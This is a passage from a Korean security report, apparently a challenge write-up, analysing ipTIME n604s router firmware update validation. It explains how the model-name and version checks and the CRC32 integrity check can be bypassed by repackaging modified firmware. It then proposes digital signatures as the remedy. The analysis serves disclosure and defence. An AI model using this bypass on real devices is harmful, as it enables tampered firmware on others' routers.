앞서설명한 /sbin/pptpctrld 에의해 18 번포트로텔넷서비스를실행한다. 15

6. 펌웨어업데이트취약점및해결방안 본챌린지는펌웨어업데이트의취약점으로공격자가임의의펌웨어를덮어씌울수있는취약점을활용하였다고한다. 이에펌웨어업데이트과정을분석하여현재의업데이트과정의문제점을확인하고이에대한해결방안을알아본다. 가 ) 펌웨어업데이트과정아이피타임공유기는펌웨어가업데이트될때마다, 그리고모델마다검증루틴이상이하다. n604s 9.72 펌웨어는다음과같은순서로업데이트를수행한다. 1. GUI 를통해 /tmp/firmware 로업로드된펌웨어이미지의부트로더영역크기와공유기의부트로더크기를비교해서크기가다르면잘못된펌웨어로판단한다. 현재기기의부트로더크기는 hwinfo_get_bootloader_size 함수로검증한다. 2. 펌웨어의 TRX 영역을검증한다. 그전에 TRX Header 를검증한다. TRX Header(v1) 의구조체는그림 10 과같다. 그림 10. TRXv1 헤더구조 9 3. TRX 헤더의 magic number 인 HDR0 가아니라면잘못된펌웨어이미지로판단한다. 4. TRX 헤더의 length( 길이 ) 값이 1024 보다작다면, 잘못된펌웨어이미지로판단한다. 5. TRX 헤더의시작주소에 length 를더한위치에있는 56 바이트의패키지헤더 (Package Header) 를읽는다. 읽은바이트가 56 바이트보다작다면패키지헤더가없다는에러를출력하고업데이트를종료한다. 이정보에바탕하면앞서그림 4 의펌웨어구조에패키지헤더가추가되어그림 11 와같은구조가됨을알수있다. 그림 11. 분석과정에서식별된펌웨어구조 9 TRX header. http://xinu.mscs.mu.edu/trx_header. 16

6. 패키지헤더정보의내용과현재시스템의정보가저장된 NVRAM 정보 10 를비교한다. A. NVRAM 에있는모델명정보 (product_name) 를가져온다. 이정보에는현재기기의모델정보가저장되어있다. 이정보와펌웨어패키지헤더의모델명을비교한다. n604s 펌웨어이미지를사용했다면고려할필요가없다. B. NVRAM 에있는업데이트최소버전정보 (no_downgrade) 를가져온다. 이값은 9.72 버전기준으로 7.62 를가진다. 펌웨어의패키지헤더의버전값이필드의값보다낮을경우업데이트를중지한다. 이정보가없거나버전이그이상이라면 7 을진행한다. 7. TRX 헤더의 TRX flags 부터 TRX 파티션의끝 (TRX 헤더에서부터 TRX 헤더의 Length 를합친위치 ) 까지의읽어서 CRC32 값을구한다. 해당알고리즘은 Firmware Mod Kit 의 crcalc 에구현되어있다. 8. 7 에서계산한 CRC32 와 TRX 헤더의 CRC32 필드의값이같으면정상펌웨어로판단하고펌웨어업데이트를시작한다. 나 ) 취약점분석아이피타임 9.72 펌웨어는패키지헤더에있는펌웨어대상모델명과현재기기의모델명이일치하는지, 버전이 7.62 버전이상인지를확인하는첫번째과정과 TRX 영역의로드된펌웨어이미지의 CRC32 값을확인하여펌웨어의손상여부를확인하는두번째과정으로이루어져있다. 각과정은다음과같이우회할수있다. 패키지헤더정보우회 : 패키지헤더에는현재기기모델명과펌웨어버전정보를저장하고있다. 공격자는이영역은수정하지않고 TRXv1 영역에대해다양한변조를하면되기때문에변조할펌웨어이미지의패키지헤더의필드값을그대로사용하면된다. 단, 최소요구조건인 7.62 버전이상이고모델정보가 n604s 이어야한다. 체크섬 (Checksum) 우회 : 본모델은펌웨어이미지를검증하기위해 CRC32 알고리즘으로무결성을입증한다. 사실 CRC32 는충돌쌍 (collision) 이많기때문에무결성검증에좋은방법은아니다. 또한, 체크섬값을로컬에함께관리하기때문에공격자가쉽게변조 / 우회할수있다. 공격자가펌웨어를변조하고리패키징 (Re-Packaging) 하는과정에서 TRX 영역이변경된다. 하지만 CRC32 값이 TRX 헤더에있으므로재계산하여덮어씌우면된다. 가 ) 펌웨어업데이트과정 에서설명한 crcalc 도구를이용하면손쉽게우회할수있다. 다 ) 업데이트취약점해결방안기존펌웨어업데이트로직의가장큰문제는업데이트하는펌웨어의파일에특정필드값을이용한검증이전부이기때문에악의적인사용자가펌웨어를언패키징하여조작한후다시패키징하여배포할경우, 공격자가원하는공격을수행할수있는문제점을가지고있다. 이문제는민간분야뿐만아니라임베디드기기를많이사용하고높은보안성을유지할필요가있는조직인군에서도많은이슈가되고있다. 이에밀리터리임베디드시스템과관련된내용을다루는사이트인 milembedded.com 은 2010 년에 비인가된소프트웨어수정으로부터임베디드시스템을보호하는방법 (Protecting embedded systems from unauthorized software modifications) 11 를통해어떻게펌웨어의위변조를막아야하는지를기술하였다. 또한, 임베디드제품설계에대한정보를다루는 newelectronic.co.uk 는 Creating a defence 라는보고서 12 를통해펌웨어배포및부팅과정에서보안성을유지하는방법을소개하였다. 이두가지방법은디지털서명을이용하여펌웨어의인증과신뢰도문제를해결한다. 본보고서에서제시하고자하는방법도디지털서명을이용하는방법이다. 10 nvram 은 Non-Volatile-RAM 으로사용자가저장하고자하는데이터와문자열을플래시메모리에유지한다. 11 http://mil-embedded.com/articles/protecting-systems-unauthorized-software-modifications/ 12 http://www.newelectronics.co.uk/article-images/59422/p21-22.pdf 17

그림 12. 프로그램코드에대한디지털서명과정 ( 참고 : mil-embedded.com) 현재펌웨어의업데이트방법을해결하기위한가장좋은방법은디지털서명 (Digital Signature) 이다. 디지털서명은디지털서명은공개키알고리즘중하나인 RSA(Rivest Shamir Adleman) 이나 ECC(Elliptic Curve Cryptography) 를이용하여정보의무결성과인증을동시에제공한다. 공격자가디지털서명된정보를변경한다면, 사용자또는펌웨어업데이트검증절차를통해이를파악할수있다 ( 무결성 ). 디지털서명자체를변경하더라도변경여부를판별할수있다 ( 인증 ). 그림 12 를글로설명하면다음과같다. 1. 코드를배포할사람은개인키 (Private Key) 와공개키 (Public Key) 를만든다. 개인키는서명자즉, 코드배포자만접근할수있으며, 공개키는누구나볼수있다. 2. 배포자는프로그램코드를단방향해시 (One-way hash) 알고리즘으로해시한값을구하고, 이결과값을개인키로서명한다. 그리고이서명을프로그램코드와함께배포한다. 3. 해당코드를받은사용자는프로그램코드를동일한방법으로해시하고, 디지털서명된정보를누구나접근할수있는공개키로해석한다. 4. 해시한값과해석한값을비교하여일치하면, 올바른프로그램코드로판단한다. 위에서설명한과정에서디지털서명이올바른지에대한검증만적용되면완벽한배포프로세스를만들수있다. 본방법의전제조건은제조사공개키와개인키를생성하고인증기관 (CA) 을통해공개키에디지털서명을받아디지털인증서를생성하는작업과최초공유기배포단계에이디지털인증서와본보고서에서제시하는검증논리가반영되어야하는두가지전제조건이필요하다. 1. 펌웨어제조사 ( 본챌린지에서는 EFM 네트웍스 ) 는공개키와개인키를생성하고공개 키를인증기관 (CA) 에전달하여인증기관 (CA) 으로부터서명된인증서를발급받는다. 2. 펌웨어제조사는발급받은디지털인증서 ( 공개키 ) 와개인키를디지털서명용도의 안전한시스템에보관한다. 본예에선이를 안전한지역 으로칭한다. 3. 펌웨어제조사에서펌웨어를개발한다. 개발되서배포준비된펌웨어이미지를디지털 서명센터에전달한다. 4. 디지털서명센서는펌웨어에개인키로서명한디지털서명정보를붙여배포한다. 5. 공유기는로드된펌웨어이미지를기기에내장된공개키를이용하여검증한다. 6. 검증결과올바르다면, 기존펌웨어업데이트를진행한다. 본과정을그림으로표현하면그림 13 과같다. 18

그림 13. 프로그램코드에대한디지털서명과정 단이방법은펌웨어업데이트시로드되는이미지의펌웨어의무결성과인증과정을제공하여펌웨어업데이트시악의적으로변조된펌웨어에대한방어기능을제공할뿐다른취약점으로인한공유기침투는보호할수없다. 즉, 완벽한보안이이루어지려면디지털서명외에도펌웨어에대한자체적인보안코딩, 빠른버그수정및자동화된업데이트가필요하다. 19